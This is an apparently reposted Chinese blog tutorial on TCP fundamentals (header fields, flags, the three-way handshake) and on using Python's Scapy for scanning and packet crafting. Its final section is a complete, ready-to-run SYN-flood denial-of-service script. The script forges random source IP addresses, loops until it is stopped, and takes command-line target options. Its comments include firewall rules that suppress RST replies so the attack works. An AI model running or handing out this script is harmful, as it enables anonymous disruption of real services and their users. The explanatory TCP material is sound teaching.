Python Scapy TCP

简介:

面向连接意味着两个使用TCP的应用(通常是一个客户和一个服务器)在彼此交换数据之前必须先建立一个TCP连接。

在一个TCP连接中,仅有两方进行彼此通信。广播和多播不能用于TCP。


TCP通过下列方式来提供可靠性:

应用数据被分割成TCP认为最合适发送的数据块。

当TCP发出一个段后,它启动一个定时器,等待目的端确认收到这个报文段。如果不能及时收到一个确认,将重发这个报文段。

当TCP收到发自TCP连接另一端的数据,它将发送一个确认。这个确认不是立即发送,通常将推迟几分之一秒。

TCP将保持它首部和数据的检验和

既然TCP报文段作为IP数据报来传输,而IP数据报的到达可能会失序,因此TCP报文段的到达也可能会失序,如果必要,TCP将对收到的数据进行重新排序,将收到的数据以正确的顺序交给应用层。

既然IP数据报会发生重复,TCP的接收端必须丢弃重复的数据。

TCP还能提供流量控制。TCP连接的每一方都有固定大小的缓冲空间。

TCP的接收端只允许另一端发送接收缓冲区所能接纳的数据。这将防止较快主机致使慢主机的缓冲区溢出。


TCP字节流

两个应用程序通过TCP连接交换8bit字节构成的字节流。TCP不在字节流中插入记录标识符。我们将这称为字节流服务(byte stream service)。如果一方的应用程序先传10字节,又传20字节,再传50字节,连接的另一方将无法了解发方每次发送了多少字节。收方可以分4次接收这80个字节,每次接收20字节。一端将字节流放到TCP连接上,同样的字节流将出现在TCP连接的另一端。

另外,TCP对字节流的内容不作任何解释。TCP不知道传输的数据字节流是二进制数据,还是ASCII字符、EBCDIC字符或者其他类型数据。对字节流的解释由TCP连接双方的应用层解释。


9000941ad1f55465928143abe4a92c7a.png

每个TCP段都包含源端和目的端的端口号,用于寻找发端和收端应用进程。这两个值加上IP首部中的源端IP地址和目的端IP地址唯一确定一个TCP连接。

一个IP地址和一个端口号也称为一个插口(socket)插口对(socketpair)(包含客户IP地址、客户端口号、服务器IP地址和服务器端口号的四元组)可唯一确定互联网络中每个TCP连接的双方。

序号用来标识从TCP发端向TCP收端发送的数据字节流,它表示在这个报文段中的序号对每个字节进行计数。序号是32bit的无序号数,序号到达2的32次方后又从0开始。SYN标志消耗一个序号。FIN标志也要占用一个序号。

确认序号应当是上次已成功收到数据字节序号加1。只有ACK标志为1时确认序号字段才有效。

发送ACK无需任何代价,因为32bit的确认序号字段和ACK标志一样,总是TCP首部的一部分。因此,我们看到一旦一个连接建立起来,这个字段总是被设置,ACK标志也总是被设置为1。

TCP为应用层提供全双工服务。这意味数据能在两个方向上独立地进行传输。因此,连接的每一端必须保持每个方向上的传输数据序号。

TCP可以表述为一个没有选择确认或否认的滑动窗口协议(滑动窗口协议用于数据传输)。我们说TCP缺少选择确认是因为TCP首部中的确认序号表示发方已成功收到字节,但还不包括确认序号所指的字节。当前还无法对数据流中选定的部分进行确认。例如,如果1-1024字节已经成功收到,下一报文段中包含序号从2049-3072的字节,收端并不能确认这个新的报文段。它所能做的就是发回一个确认序号为1025的ACK。它也无法对一个报文段进行否认。例如,如果收到包含1025-2048字节的报文段,但它的检验和错,TCP接收端所能做的就是发回一个确认序号为1025的ACK。

首部长度给出首部中32bit字段的数目。需要这个值是因为任选字段的长度是可变的。这个字段占4bit,因此TCP最多有60字节的首部。然而,没有任选字段,正常的长度是20字节。

在TCP首部中有6个标志比特。它们中的多个可同时被设置为1。

  • URG  紧急指针有效

  • ACK  确认序号有效

  • PSH  接收方应该尽快将这个报文段交给应用层

  • RST  重建连接

  • SYN  同步序号用来发起一个连接

  • FIN  发端完成发送任务


TCP是一个面向连接的协议。无论哪一方向另一方发送数据之前,都必须先在双方之间建立一条连接。

这种两端间连接的建立与无连接协议如UDP不同。UDP向另一端发送数据报时,无需任何预先的握手。


TCP用三次握手过程创建一个连接。在连接创建过程中,很多参数要被初始化,例如序号被初始化以保证按序传输和连接的强壮性。

一对终端同时初始化一个它们之间的连接是可能的。但通常是由一端打开一个套接字(socket)然后监听来自另一方的连接,这就是通常所指的被动打开。

服务器端被被动打开以后,用户端就能开始创建主动打开。

  1. 客户端通过向服务器端发送一个SYN来创建一个主动打开,作为三次握手的一部分。客户端把这段连接的序号设定为随机数A。

  2. 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1,SYN/ACK包本身又有一个随机序号B。

  3. 最后,客户端再发送一个ACK。当服务端收到这个ACK的时候,就完成了三次握手,并进入了连接创建状态。此时包序号被设定为收到的确认号A+1,而响应则为B+1。


9cf5db12e04542d9332402de013b735d.png

9974b0734356aa4448747d471c6b27e0.png



cb5d1ef525d87adf70a687064b55cb01.png



20f34bc8678f4f73445b3ec2c37d6ca9.png

cc52f1aafd687e3f9def13e50ae3ba45.png


Socket TCP Server脚本样例:

26290d90ce72dd10c562949909036cf9.png


Scapy可以实现的功能:

1、TCP端口扫描

d43bc86d06fbcd7a7af09a0c419c7578.png

2、防火墙开放端口扫描

0b05954c5b0368988357a7fef132dd3e.png

3、模拟TCP建立与终止

507e7ddc4589509a6f223e83bd2ab710.png

4、制造TCP DOS攻击

使用随机地址随机端口发起TCP连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python3.4
# -*- coding=utf-8 -*-
 
#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p tcp --tcp-flags RST RST -s 202.100.1.139 -j DROP
#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p icmp -s 202.100.1.139 -j DROP
 
import  logging
logging.getLogger( "scapy.runtime" ).setLevel(logging.ERROR) #清除报错
from  scapy. all  import  *
 
def  syn_dos(ip, port, random_enable = True ): #定义方法,传入目标IP地址,目标端口号,是否激活随机伪装源IP地址
     if  random_enable  = =  True : #如果激活随机伪装源IP地址
         while  True : #一直执行直到ctl+c停止程序
             source_port  =  random.randint( 1024 65535 ) #随机产生源端口
             init_sn  =  random.randint( 1 65535 * 63335 ) #随机产生初始化序列号
             yi_section  =  random.randint( 1 254 ) #随机产生,第一段IP地址
             er_section  =  random.randint( 1 254 ) #随机产生,第二段IP地址
             san_section  =  random.randint( 1 254 ) #随机产生,第三段IP地址
             si_section  =  random.randint( 1 254 ) #随机产生,第四段IP地址
             source_ip  =  str (yi_section) + '.' + str (er_section) + '.' + str (san_section) + '.' + str (si_section) #组合四段地址
             #发送SYN同步包(不必等待回应)#随机伪装源IP,随机产生源端口和初始化序列号
             send(IP(src = source_ip,dst = ip) / TCP(dport = port,sport = source_port,flags = 2 ,seq = init_sn), verbose  =  False )
     else : #如果不激活随机伪装源IP地址
         while  True :
             source_port  =  random.randint( 1024 65535 ) #随机产生源端口
             init_sn  =  random.randint( 1 65535 * 63335 ) #随机产生初始化序列号
             #发送SYN同步包(不必等待回应)#随机产生源端口和初始化序列号
             send(IP(dst = ip) / TCP(dport = port,sport = source_port,flags = 2 ,seq = init_sn), verbose  =  False )
 
if  __name__  = =  '__main__' :
     import  optparse #导入选项分析模块
     #配置帮助
     parser  =  optparse.OptionParser( "程序使用方法介绍: -d <目标地址> -p <目标端口> -r <1:激活(默认) 2:不激活>" )
     #选项‘-d’,指定目的IP地址
     parser.add_option( '-d' , dest  =  'dst_ip' type  =  'string' help  =  '指定目标地址' )
     #选项‘-p’,指定目的端口号
     parser.add_option( '-p' , dest  =  'dst_port' type  =  'int' help  =  '指定目标端口' )
     #选项‘-r’,是否激活随机伪装源IP地址
     parser.add_option( '-r' , dest  =  'random' type  =  'int' help  =  '是否激活随机IP' )
     #分析参数,得到Options
     (options, args)  =  parser.parse_args()
     #如果没有指定目的IP,或者没有指定目的端口号,显示帮助信息给客户看!
     if  (options.dst_ip  = =  None or  (options.dst_port  = =  None ):
         print (parser.usage)
         exit( 0 )
     else : #如果客户指定了目的地址和目的端口号,为变量赋值!
         destination_ip  =  options.dst_ip
         destination_port  =  options.dst_port
     if  options.random  = =  2 : #如果客户不激活随机伪装源IP地址
         syn_dos(destination_ip, destination_port, random_enable  =  False )
     else : #客户激活随机伪装源IP地址
         syn_dos(destination_ip, destination_port, random_enable  =  True )

本文转自Grodd51CTO博客,原文链接:http://blog.51cto.com/juispan/1980688,如需转载请自行联系原作者
相关实践学习
容器服务Serverless版ACK Serverless 快速入门:在线魔方应用部署和监控
通过本实验,您将了解到容器服务Serverless版ACK Serverless 的基本产品能力,即可以实现快速部署一个在线魔方应用,并借助阿里云容器服务成熟的产品生态,实现在线应用的企业级监控,提升应用稳定性。
云原生实践公开课
课程大纲 开篇:如何学习并实践云原生技术 基础篇: 5 步上手 Kubernetes 进阶篇:生产环境下的 K8s 实践 相关的阿里云产品:容器服务&nbsp;ACK 容器服务&nbsp;Kubernetes&nbsp;版(简称&nbsp;ACK)提供高性能可伸缩的容器应用管理能力,支持企业级容器化应用的全生命周期管理。整合阿里云虚拟化、存储、网络和安全能力,打造云端最佳容器化应用运行环境。 了解产品详情:&nbsp;https://www.aliyun.com/product/kubernetes
相关文章
|
3月前
|
网络协议 网络性能优化 Python
在Python中进行TCP/IP网络编程
在Python中进行TCP/IP网络编程
37 6
|
4月前
|
缓存 网络协议 Python
Python网络编程(二)编写TCP协议程序
Python网络编程(二)编写TCP协议程序
121 0
|
6月前
|
网络协议 Python
154 python网络编程 - TCP案例(模拟QQ聊天)
154 python网络编程 - TCP案例(模拟QQ聊天)
41 0
|
6月前
|
网络协议 Python
151 python网络编程 - TCP相关介绍
151 python网络编程 - TCP相关介绍
16 0
|
7月前
|
网络协议 安全 测试技术
21.2 Python 使用Scapy实现端口探测
Scapy 是一款使用纯Python编写的跨平台网络数据包操控工具,它能够处理和嗅探各种网络数据包。能够很容易的创建,发送,捕获,分析和操作网络数据包,包括TCP,UDP,ICMP等协议,此外它还提供了许多有用的功能,例如嗅探网络流量,创建自定义协议和攻击网络的安全测试工具。使用Scapy可以通过Python脚本编写自定义网络协议和攻击工具,这使得网络安全测试变得更加高效和精确。
95 0
21.2 Python 使用Scapy实现端口探测
|
15天前
|
存储 网络协议 关系型数据库
Python从入门到精通:2.3.2数据库操作与网络编程——学习socket编程,实现简单的TCP/UDP通信
Python从入门到精通:2.3.2数据库操作与网络编程——学习socket编程,实现简单的TCP/UDP通信
|
2月前
|
网络协议 Python
Python网络编程实现TCP和UDP连接
Python网络编程实现TCP和UDP连接
33 0
|
2月前
|
网络协议 网络性能优化 Python
python怎么实现tcp和udp连接
python怎么实现tcp和udp连接
18 0
|
6月前
|
网络协议 Python
152 python网络编程 - TCP服务器
152 python网络编程 - TCP服务器
24 0
|
3月前
|
网络协议 网络安全 开发者
掌握Python网络编程:从TCP到UDP
掌握Python网络编程:从TCP到UDP